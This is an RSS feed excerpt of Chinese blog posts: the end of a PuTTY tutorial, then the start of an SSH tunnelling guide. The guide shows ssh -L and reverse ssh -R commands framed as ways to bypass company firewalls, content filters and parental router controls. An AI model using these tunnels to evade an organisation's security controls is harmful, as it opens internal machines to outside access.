--&amp;gt;&lt;br id=&quot;nkpr816&quot; /&gt;&amp;lt;assembly xmlns=&amp;quot;urn:schemas-microsoft-com:asm.v1&amp;quot; manifestVersion=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br id=&quot;nkpr817&quot; /&gt;&amp;lt;assemblyIdentity&lt;br id=&quot;nkpr818&quot; /&gt;type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr819&quot; /&gt;name=&amp;quot;PuTTYgen&amp;quot;&lt;br id=&quot;nkpr820&quot; /&gt;version=&amp;quot;0.0.0.0&amp;quot; processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr821&quot; /&gt;&amp;lt;dependency&amp;gt;&lt;br id=&quot;nkpr822&quot; /&gt;&amp;lt;dependentAssembly&amp;gt;&lt;br id=&quot;nkpr823&quot; /&gt;&amp;lt;!-- Load Common Controls 6 instead of 5 to get WinXP native-&lt;br id=&quot;nkpr824&quot; /&gt;looking controls in the client area. --&amp;gt;&lt;br id=&quot;nkpr825&quot; /&gt;&amp;lt;assemblyIdentity type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr826&quot; /&gt;name=&amp;quot;Microsoft.Windows.Common-Controls&amp;quot;&lt;br id=&quot;nkpr827&quot; /&gt;version=&amp;quot;6.0.0.0&amp;quot;&lt;br id=&quot;nkpr828&quot; /&gt;publicKeyToken=&amp;quot;6595b64144ccf1df&amp;quot;&lt;br id=&quot;nkpr829&quot; /&gt;language=&amp;quot;*&amp;quot;&lt;br id=&quot;nkpr830&quot; /&gt;processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr831&quot; /&gt;&amp;lt;/dependentAssembly&amp;gt;&lt;br id=&quot;nkpr832&quot; /&gt;&amp;lt;/dependency&amp;gt;&lt;br id=&quot;nkpr833&quot; /&gt;&amp;lt;/assembly&amp;gt;&lt;br id=&quot;nkpr834&quot; /&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;屏幕输出太快了，怎么能暂停一下？&lt;/b&gt;&lt;br id=&quot;nkpr835&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr836&quot;&gt;Ctrl+S 快捷键可以暂停终端，Ctrl+Q 恢复。&lt;br id=&quot;nkpr837&quot; /&gt;&lt;br id=&quot;nkpr838&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;怎么翻页？&lt;/b&gt;&lt;br id=&quot;nkpr839&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr840&quot;&gt;Shift+PageUp/PageDown 一页一页的翻，Ctrl+PageUp/PageDown 则是一行一行的。&lt;br id=&quot;nkpr841&quot; /&gt;&lt;br id=&quot;nkpr842&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;不是说 PSCP 一次只能传输一个文件么？为什么我发现能传输很多个？&lt;/b&gt;&lt;br id=&quot;nkpr843&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr844&quot;&gt;那是因为 PSCP 发现 SFTP 协议可用，优先使用 SFTP 协议来传输文件&lt;br id=&quot;nkpr845&quot; /&gt;&lt;br id=&quot;nkpr846&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;为什么执行了 pscp、psftp、plink 这些命令总是说错误的命令呢？&lt;/b&gt;&lt;br id=&quot;nkpr847&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr848&quot;&gt;应该把 PuTTY 所在的路径添加到 PATH 环境变量中。你可以编辑 c:autoexec.bat 这个文件，在最后增加一行，把 c:pathtoputty 换成你的真实路径&lt;br id=&quot;nkpr849&quot; /&gt;&lt;/div&gt;&lt;blockquote style=&quot;margin-left: 80px&quot; id=&quot;nkpr850&quot;&gt;set PATH=c:pathtoputty;%PATH%&lt;br id=&quot;nkpr851&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;b&gt;在登录的时候出现 &amp;quot;Proxy error: 407 Proxy authorization require&amp;quot; 的错误提示&lt;/b&gt;&lt;br id=&quot;nkpr852&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr853&quot;&gt;这是因为配置的代理服务器需要认证，而我们没有填写正确的用户名或口令。如果用户名填写的是类似 DOMAIN/username 的形式，可以尝试把 DOMAIN/ 去掉，仅仅填写 username 再试一试，还有一种可能性就是代理服务器禁止我们访问 22 目标端口。&lt;br id=&quot;nkpr854&quot; /&gt;&lt;br id=&quot;nkpr855&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;每次开机后我都要先打开 Pagent，然后再添加我的私钥，还要输入私钥密码，太麻烦了，有没有简单一点的办法呢？&lt;/b&gt;&lt;br id=&quot;nkpr856&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr857&quot;&gt;很遗憾，比较轻松的办法就是把 Pagent 和 .ppk 文件关联，然后在开始的启动项里添加一个私钥的快捷方式，这样开机后我们只需要输入一下密码就OK了。如果想把输入密码也省掉，唉唉唉，怎么比我还懒呢？如果你的私钥密码真的是很长很长，那你还是借助第三方工具吧，建议用 &lt;a id=&quot;wc:h&quot; title=&quot;非常棒的，而且免费的密码管理工具&quot; href=&quot;http://keepass.info/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;KeePass&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; 吧，KeePass 可以用命令行启动省掉输入密码和选择 keyfile 的麻烦。&lt;br id=&quot;nkpr858&quot; /&gt;&lt;br id=&quot;nkpr859&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;我希望下次登录服务器的时候，还是能看到这次登录的界面，也就是说可不可以像 Firefox 那样保存 PuTTY 登录的会话呢？&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot;&gt;这个问题很多人都会遇到，比如在进行一个长时间的数据处理，而且还不能放到后台执行。这时是不能关闭 PuTTY 的，万一网络状况不好突然断掉，或者是自己的机器死机必须重启，那我们难道只能眼巴巴的看着就要完成的工作付之东流？&lt;br /&gt;当然这些事情是可以避免的，只不过这个功能是通过 &lt;a id=&quot;h9z5&quot; title=&quot;Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.&quot; href=&quot;http://www.gnu.org/software/screen/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;GNU Screen&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; 来实现的。GNU Screen 是一个终端窗口管理器，只不过管理的是终端界面，也就是纯文本的界面，而非图形界面。再稍微专业一些的说法就是：用一个物理终端模拟了多个虚拟终端。&lt;br /&gt;如何安装 GNU Screen 这里就不说了，单说用 PuTTY 如何方便的去使用 GNU Screen。参考一下前面提到的&lt;a id=&quot;bul7&quot; title=&quot;如何自动执行一个命令&quot; href=&quot;http://chaifeng.com/blog/2007/06/putty_200611.html#_3852716711593046&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;如何自动执行一个命令&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;，在 Remote Command 这个里面填写如下命令：&lt;br /&gt;&lt;blockquote&gt;screen -RD&lt;br /&gt;&lt;/blockquote&gt;然后保存会话，登录。嗯，接下来你会发现什么呢？当然是命令提示符了，然后 ls 一下，一切正常啊，GNU Screen 呢？看到了没？其实我们已经在 Gnu Screen 里面了，在有的系统上，你会看到 PuTTY 的标题已经变成了 screen，有的显示的就是主机名，不管怎样，我们已经运行在 GNU Screen 里面了。如果你发现 PuTTY 是一闪而过，没有登录上去，那估计就是 GNU Screen 没有安装成功。&lt;br /&gt;在 GNU Screen 中的每一个终端窗口都有一个编号，编号从 0 开始，再创建一个终端窗口，编号就是 1 了，以此类推。&lt;br /&gt;下面简述一下 GNU Screen 的最经常使用的快捷键：&lt;br /&gt;&lt;ol&gt;&lt;li&gt;关闭 GNU Screen：Ctrl+a，然后 d，下面就用 C-a d 来表示了。或者 Ctrl+a Ctrl+d，下面就用 C-a C-d 来表示。放心这个只是关闭了窗口，里面的程序还都正常的运行，下次用命令 screen -RD 又都可以看到了。&lt;/li&gt;&lt;li&gt;再打开一个新的终端窗口：C-a c 或者 C-a C-c&lt;br /&gt;&lt;/li&gt;&lt;li&gt;切换到下一个终端窗口：C-a n 或者 C-a C-n&lt;/li&gt;&lt;li&gt;切换到前一个终端窗口：C-a p 或者 C-a C-p&lt;/li&gt;&lt;li&gt;切换到 0 号终端窗口：C-a 0 或者 C-a C-0&lt;/li&gt;&lt;li&gt;切换到 8 号终端窗口：C-a 8 或者 C-a C-8&lt;/li&gt;&lt;li&gt;快速切换到上一个打开的终端窗口：C-a C-a。这个需要稍微解释一下，比如现在我们在第 7 号终端窗口，按快捷键 C-a 2 切换到了 2 号终端窗口。要想再回到 7 号终端窗口，一个办法就是 C-a 7，另外一个办法就是 C-a C-a。&lt;/li&gt;&lt;li&gt;给运行在终端窗口的程序发送 ^a：C-a a，因为 GNU Screen 的所有快捷键都是以 C-a 开始，所以要给程序发送 ^a 就是这个方法了。&lt;/li&gt;&lt;li&gt;黑屏：C-a -。这个作用就类似屏保了，万一有些程序不方便让别人看到，切换到其他终端窗口也不合适，那就这个了，当然创建一个新的终端窗口也可以。&lt;/li&gt;&lt;li&gt;滚屏：C-a [ 或者 C-a C-[ 或者 C-a esc。然后用 PageUp/PageDown 就可以翻页了，再次按下 esc 就退出滚屏模式了，这个模式也是 copy 模式，这里就不细说了。&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;这里只是列出了常用的操作，还有很多强大的操作以及配置，大家 man screen 吧。&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;PuTTY 中文教程 作者：柴锋 2006年11月&lt;br id=&quot;nkpr1&quot; /&gt;&lt;i&gt;Web:&lt;/i&gt;&lt;a id=&quot;nkpr3&quot; title=&quot;http://chaifeng.com&quot; href=&quot;http://chaifeng.com/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;http://chaifeng.com&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr4&quot; /&gt;&lt;i&gt;email: putty-tutorial [0x40] chaifeng [0x2E] com&lt;/i&gt;&lt;/p&gt;&lt;div&gt;&lt;i&gt;Twitter: &lt;a id=&quot;v2uw&quot; title=&quot;@chaifeng&quot; href=&quot;https://twitter.com/chaifeng&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;@chaifeng&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr6&quot; /&gt;Links: &lt;a id=&quot;x7.7&quot; title=&quot;http://chaifeng.com/blog/2007/06/putty_200611.html&quot; href=&quot;http://chaifeng.com/blog/2007/06/putty_200611.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;http://chaifeng.com/blog/2007/06/putty_200611.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; , &lt;/i&gt;&lt;a id=&quot;nkpr7&quot; title=&quot;https://docs.google.com/View?docid=ajbgz6fp3pjh_2dwwwwt&quot; href=&quot;http://docs.google.com/View?docid=ajbgz6fp3pjh_2dwwwwt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;https://docs.google.com/View?docid=ajbgz6fp3pjh_2dwwwwt&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr8&quot; /&gt;&lt;h2 id=&quot;nkpr9&quot;&gt;更新记录&lt;/h2&gt;&lt;ul id=&quot;nkpr10&quot;&gt;&lt;li id=&quot;nkpr11&quot;&gt;2006-11-29&lt;br id=&quot;nkpr12&quot; /&gt;初步完成想写的这些东西&lt;/li&gt;&lt;li id=&quot;nkpr13&quot;&gt;2007-06-11&lt;br id=&quot;nkpr14&quot; /&gt;PuTTY 的最新版本到了0.6；修改了一下 SSH 隧道；添加了 SSH 反向隧道；添加了用 SSH 做代理服务器；&lt;/li&gt;&lt;li id=&quot;nkpr15&quot;&gt;2007-09-03&lt;br id=&quot;nkpr16&quot; /&gt;补充了几个 FAQ&lt;/li&gt;&lt;li id=&quot;joxm&quot;&gt;2008-05-04&lt;br id=&quot;nd2j0&quot; /&gt;很久没有更新过了，这次加上一个小技巧吧，如何安全、方便的使用 vnc，远程连接 vnc 不需要密码。&lt;/li&gt;&lt;li id=&quot;h81d&quot;&gt;2008-08-12&lt;br id=&quot;uarv0&quot; /&gt;刚刚&lt;a id=&quot;mzbn&quot; title=&quot;在 lifehacker 看到 Google Docs 的几个小技巧&quot; href=&quot;http://lifehacker.com/400210/get-a-table-of-contents-dictionary-and-thesaurus-in-your-google-docs&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;在 lifehacker 看到 Google Docs 的几个小技巧&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; ，这篇文章终于有目录了 ^_^&lt;/li&gt;&lt;li id=&quot;m3nh&quot;&gt;2009-04-11&lt;br /&gt;补充了一个 FAQ，如何保存登录的会话，下次登录还可以看到上次登录的界面。&lt;br /&gt;另外，昨天刚刚从 &lt;a id=&quot;e8.d&quot; title=&quot;QCon Beijing 2009&quot; href=&quot;http://www.qconbeijing.com/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;QCon Beijing 2009&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; 的大会现场回来，祝贺这次 QCon 大会的成功召开。&lt;br /&gt;&lt;/li&gt;&lt;li id=&quot;h9n9&quot;&gt;2011-07-14&lt;br /&gt;新版的 PuTTY v0.61 终于在4年之后发布了，我也差不多4年没用 PuTTY 了。&lt;/li&gt;&lt;/ul&gt;&lt;br id=&quot;nkpr18&quot; /&gt;&lt;h2 id=&quot;nkpr19&quot;&gt;版权声明&lt;/h2&gt;&lt;p id=&quot;nkpr20&quot;&gt;This document is licensed under a Creative Commons License.&lt;/p&gt;&lt;p id=&quot;nkpr21&quot;&gt;&lt;br id=&quot;nkpr22&quot; /&gt;&lt;/p&gt;&lt;p id=&quot;nkpr23&quot;&gt;&lt;a id=&quot;nkpr24&quot; title=&quot;Creative Commons Deed 署名 2.5&quot; href=&quot;http://creativecommons.org/licenses/by/2.5/deed.zh&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;Creative Commons Deed 署名 2.5&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr25&quot; /&gt;&lt;a id=&quot;nkpr26&quot; title=&quot;Creative Commons Attribution 2.5&quot; href=&quot;http://creativecommons.org/licenses/by/2.5/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;Creative Commons Attribution 2.5&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr27&quot; /&gt;&lt;/p&gt;&lt;p id=&quot;nkpr28&quot;&gt;&lt;u&gt;&lt;br id=&quot;nkpr29&quot; /&gt;&lt;/u&gt;&lt;/p&gt;&lt;p id=&quot;nkpr30&quot;&gt;您可自由：&lt;br id=&quot;nkpr31&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr32&quot;&gt;&lt;li id=&quot;nkpr33&quot;&gt;复制、发行、展览、表演、放映、广播或通过信息网络传播本作品&lt;/li&gt;&lt;li id=&quot;nkpr34&quot;&gt;创作演绎作品&lt;/li&gt;&lt;li id=&quot;nkpr35&quot;&gt;对本作品进行商业性使用&lt;br id=&quot;nkpr36&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p id=&quot;nkpr37&quot;&gt;&lt;br id=&quot;nkpr38&quot; /&gt;&lt;/p&gt;&lt;p id=&quot;nkpr39&quot;&gt;惟须遵守下列条件：&lt;br id=&quot;nkpr40&quot; /&gt;&lt;b&gt;署名&lt;/b&gt;. 您必须按照作者或者许可人指定的方式对作品进行署名。&lt;br id=&quot;nkpr42&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr43&quot;&gt;&lt;li id=&quot;nkpr44&quot;&gt;对任何再使用或者发行，您都必须向他人清楚地展示本作品使用的许可协议条款。&lt;/li&gt;&lt;li id=&quot;nkpr45&quot;&gt;如果得到著作权人的许可，您可以不受任何这些条件的限制。&lt;/li&gt;&lt;/ul&gt;&lt;br id=&quot;nkpr46&quot; /&gt;&lt;p id=&quot;nkpr47&quot;&gt;&lt;b&gt;您的合理使用以及其他权利不受上述规定的影响。&lt;/b&gt;&lt;br id=&quot;nkpr49&quot; /&gt;&lt;br id=&quot;nkpr50&quot; /&gt;这是一份普通人可以理解的&lt;a id=&quot;nkpr51&quot; title=&quot;法律文本（许可协议全文）&quot; href=&quot;http://creativecommons.org/licenses/by/2.5/legalcode&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;法律文本（许可协议全文）&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; 的概要。&lt;br id=&quot;nkpr52&quot; /&gt;&lt;a id=&quot;nkpr53&quot; title=&quot;免责声明&quot; href=&quot;http://creativecommons.org/licenses/disclaimer-popup?lang=zh&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;免责声明&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description>
		<guid>http://www.517sou.net/Article/PuTTY-Chinese-tutorial.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/696/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/PuTTY-Chinese-tutorial.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/696/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/Introduction-to-SSH-tunneling-technology.aspx</link>
		<title>SSH隧道技术简介</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Thu, 29 Sep 2011 01:30:54 GMT</pubDate>
		<description>&lt;h3&gt;本文的受众&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;如果你遇到了以下问题，那么你应该阅读这篇文章&lt;/p&gt;&lt;ol&gt;&lt;li&gt;我听说过这种技术，我对它很感兴趣&lt;/li&gt;&lt;li&gt;我想在家里访问我在公司的机器（写程序，查数据，下电影）。&lt;/li&gt;&lt;li&gt;公司为了防止我们用XX软件封锁了它的端口或者服务器地址。&lt;/li&gt;&lt;li&gt;公司不让我们上XX网站，限制了网址甚至IP。&lt;/li&gt;&lt;li&gt;公司不让我们看关于XX的信息，甚至花血本买了XX设备，能够对内容进行过滤。一看XX内容，链接就中断了。&lt;/li&gt;&lt;li&gt;我爸是搞电脑的，他在家里的路由器上动了手脚，我不能看XXX了。&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;带着这些问题，我们先从什么是ssh隧道开始。&lt;/p&gt;&lt;h3&gt;什么是SSH隧道&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;首先看下面这张图，我们所面临的大部分情况都和它类似。我们的电脑在右上角，通过公司带有防火墙功能的路由器接入互联网（当然可能还有交换机什么的在中间连接着你和路由器，但是在我们的问题中交换机并不起到什么关键性的作用）。右下脚的部分是一个网站的服务器，它是我们公司防火墙策略的一部分，也就是说公司不希望我们访问这个服务器。在右上角还有一台机器，它也是属于我们的。但是这台机器并不在我们公司里面，换句话说他不受到公司防火墙的限制。最后也是最重要的一点是，我们能够在公司通过互联网直接访问这台机器。或者说这台位于公司防火墙外面的机器需要拥有一个独立的互联网IP，同时公司的防火墙规则不会屏蔽这台机器，并且这台机器运行着一个OpenSSH服务器。&lt;/p&gt;&lt;p&gt;&lt;img width=&quot;500&quot; height=&quot;339&quot; class=&quot;Image&quot; alt=&quot;&quot; src=&quot;http://www.517sou.net/Attach/month_1109/9hc2dc_SSH-tunneling1.jpg&quot; /&gt;&lt;/p&gt;&lt;p&gt;现在，我们清楚地知道了自己所处的网络环境。并且不难理解我们在公司无法访问那个服务器的原因是：线路A-B-C上A-B之间的防火墙屏蔽了对那个服务器的访问。与此同时，我们也很快注意到，线路A-B-D之间、D-C之间是不受阻碍的。相信你已经想到了，在A-B之间的防火墙不会屏蔽对机器d的访问。因此我们可以通过机器d建立一个通道A-B-D-C，从而访问到机器c上的数据。&lt;/p&gt;&lt;p&gt;这条通道可以用很多技术来建立，这里我们仅仅介绍如何使用SSH服务器来建立这样一个通道－他被称为SSH隧道。&lt;/p&gt;&lt;h3&gt;如何建立本地SSH隧道&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;在我们计划建立一个本地SSH隧道之前，我们必须清楚下面这些数据：&lt;/p&gt;&lt;ol&gt;&lt;li&gt;中间服务器d的IP地址&lt;/li&gt;&lt;li&gt;要访问服务器c的IP地址&lt;/li&gt;&lt;li&gt;要访问服务器c的端口&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;现在，我们把上面这张图变得具体一些，给这些机器加上IP地址。并且根据下面这张图列出我们的计划：&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.517sou.net/Attach/month_1109/u3oo6b_093424_2.jpg&quot; /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;需要访问234.234.234.234的FTP服务，也就是端口21&lt;/li&gt;&lt;li&gt;中间服务器是123.123.123.123&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;现在我们使用下面这条命令来达成我们的目的&lt;/p&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;
ssh -N -f -L 2121:234.234.234.234:21 123.123.123.123
ftp localhost:2121 &lt;span class=&quot;c&quot;&gt;&lt;em&gt;&lt;font color=&quot;#8f5902&quot;&gt;# 现在访问本地2121端口，就能连接234.234.234.234的21端口了&lt;/font&gt;&lt;/em&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里我们用到了SSH客户端的三个参数，下面我们一一做出解释：&lt;/p&gt;&lt;ul&gt;&lt;li&gt;-N 告诉SSH客户端，这个连接不需要执行任何命令。仅仅做端口转发&lt;/li&gt;&lt;li&gt;-f 告诉SSH客户端在后台运行&lt;/li&gt;&lt;li&gt;-L 做本地映射端口，被冒号分割的三个部分含义分别是 &lt;ul&gt;&lt;li&gt;需要使用的本地端口号&lt;/li&gt;&lt;li&gt;需要访问的目标机器IP地址（IP: 234.234.234.234）&lt;/li&gt;&lt;li&gt;需要访问的目标机器端口（端口: 21)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;最后一个参数是我们用来建立隧道的中间机器的IP地址(IP: 123.123.123.123)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;我们再重复一下-L参数的行为。-L X:Y:Z的含义是，将IP为Y的机器的Z端口通过中间服务器映射到本地机器的X端口。&lt;/p&gt;&lt;p&gt;在这条命令成功执行之后，我们已经具有绕过公司防火墙的能力，并且成功访问到了我们喜欢的一个FTP服务器了。&lt;/p&gt;&lt;h3&gt;如何建立远程SSH隧道&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;通过建立本地SSH隧道，我们成功地绕过防火墙开始下载FTP上的资源了。那么当我们在家里的时候想要察看下载进度怎么办呢？大多数公司的网络是通过路由器接入互联网的，公司内部的机器不会直接与互联网连接，也就是不能通过互联网直接访问。通过线路D-B-A访问公司里的机器a便是不可能的。也许你已经注意到了，虽然D-B-A这个方向的连接不通，但是A-B-D这个方向的连接是没有问题的。那么，我们能否利用一条已经连接好的A-B-D方向的连接来完成D-B-A方向的访问呢？答案是肯定的，这就是远程SSH隧道的用途。&lt;/p&gt;&lt;p&gt;与本地SSH一样，我们在建立远程SSH隧道之前要清楚下面几个参数：&lt;/p&gt;&lt;ul&gt;&lt;li&gt;需要访问内部机器的远程机器的IP地址（这里是123.123.123.123）&lt;/li&gt;&lt;li&gt;需要让远程机器能访问的内部机器的IP地址(这里因为是想把本机映射出去，因此IP是127.0.0.1)&lt;/li&gt;&lt;li&gt;需要让远程机器能访问的内部机器的端口号(端口:22)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;在清楚了上面的参数后，我们使用下面的命令来建立一个远程SSH隧道&lt;/p&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;
ssh -N -f -R 2222:127.0.0.1:22 123.123.123.123
&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;现在，在IP是123.123.123.123的机器上我们用下面的命令就可以登陆公司的IP是192.168.0.100的机器了。&lt;/p&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;
ssh -p 2222 localhost
&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;-N，-f 这两个参数我们已经在本地SSH隧道中介绍过了。我们现在重点说说参数-R。该参数的三个部分的含义分别是:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;远程机器使用的端口（2222）&lt;/li&gt;&lt;li&gt;需要映射的内部机器的IP地址(127.0.0.1)&lt;/li&gt;&lt;li&gt;需要映射的内部机器的端口(22)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;例如：-R X:Y:Z 就是把我们内部的Y机器的Z端口映射到远程机器的X端口上。&lt;/p&gt;&lt;h3&gt;建立SSH隧道的几个技巧&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;自动重连&lt;/b&gt;&lt;/p&gt;&lt;p&gt;隧道可能因为某些原因断开，例如：机器重启，长时间没有数据通信而被路由器切断等等。因此我们可以用程序控制隧道的重新连接，例如一个简单的循环或者使用 &lt;a href=&quot;http://cr.yp.to/daemontools.html&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;djb’s daemontools&lt;/font&gt;&lt;/a&gt; . 不管用哪种方法，重连时都应避免因输入密码而卡死程序。关于如何安全的避免输入密码的方法，请参考我的 &lt;a href=&quot;http://blog.jianingy.com/node/73&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;如何实现安全的免密码ssh登录&lt;/font&gt;&lt;/a&gt; 。这里请注意，如果通过其他程序控制隧道连接，应当避免将SSH客户端放到后台执行，也就是去掉-f参数。&lt;/p&gt;&lt;p&gt;&lt;b&gt;保持长时间连接&lt;/b&gt;&lt;/p&gt;&lt;p&gt;有些路由器会把长时间没有通信的连接断开。SSH客户端的TCPKeepAlive选项可以避免这个问题的发生，默认情况下它是被开启的。如果它被关闭了，可以在ssh的命令上加上-o TCPKeepAlive=yes来开启。&lt;/p&gt;&lt;p&gt;另一种方法是，去掉-N参数，加入一个定期能产生输出的命令。例如: top或者vmstat。下面给出一个这种方法的例子：&lt;/p&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;
ssh -R 2222:localhost:22 123.123.123.123 &lt;span class=&quot;s2&quot;&gt;&lt;font color=&quot;#4e9a06&quot;&gt;&amp;quot;vmstat 30&amp;quot;&lt;/font&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;检查隧道状态&lt;/b&gt;&lt;/p&gt;&lt;p&gt;有些时候隧道会因为一些原因通信不畅而卡死，例如：由于传输数据量太大，被路由器带入stalled状态。这种时候，往往SSH客户端并不退出，而是卡死在那里。一种应对方法是，使用SSH客户端的ServerAliveInterval和ServerAliveCountMax选项。ServerAliveInterval会在隧道无通信后的一段设置好的时间后发送一个请求给服务器要求服务器响应。如果服务器在ServerAliveCountMax次请求后都没能响应，那么SSH客户端就自动断开连接并退出，将控制权交给你的监控程序。这两个选项的设置方法分别是在ssh时加入-o ServerAliveInterval=n和-o ServerAliveCountMax=m。其中n, m可以自行定义。&lt;/p&gt;&lt;p&gt;&lt;b&gt;如何将端口绑定到外部地址上&lt;/b&gt;&lt;/p&gt;&lt;p&gt;使用上面的方法，映射的端口只能绑定在127.0.0.1这个接口上。也就是说，只能被本机自己访问到。如何才能让其他机器访问这个端口呢？我们可以把这个映射的端口绑定在0.0.0.0的接口上，方法是加上参数-b 0.0.0.0。同时还需要打开SSH服务器端的一个选项－GatewayPorts。默认情况下它应当是被打开的。如果被关闭的话，可以在/etc/sshd_config中修改GatewayPorts no为GatewayPorts yes来打开它。&lt;/p&gt;&lt;p&gt;&lt;b&gt;如何寻找中间服务器&lt;/b&gt;&lt;/p&gt;&lt;p&gt;如果你家里使用ADSL上网，多半你会比较幸运。一般的ADSL（例如 &lt;a href=&quot;http://www.chinaunicom.com/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;联通&lt;/font&gt;&lt;/a&gt; 的ADSL）都是有互联网地址的。你只需要在家里的路由器上一台装有OpenSSH server机器的SSH端口映射出去即可。同时一些提供SSH访问的虚拟主机也可以用于这一用途。例如： &lt;a href=&quot;http://www.hostmonster.com/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;Hostmonser&lt;/font&gt;&lt;/a&gt; 或者 &lt;a href=&quot;http://www.dreamhost.com/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;Dreamhost&lt;/font&gt;&lt;/a&gt; .&lt;/p&gt;&lt;h3&gt;通过SSH隧道建立SOCKS服务器&lt;br 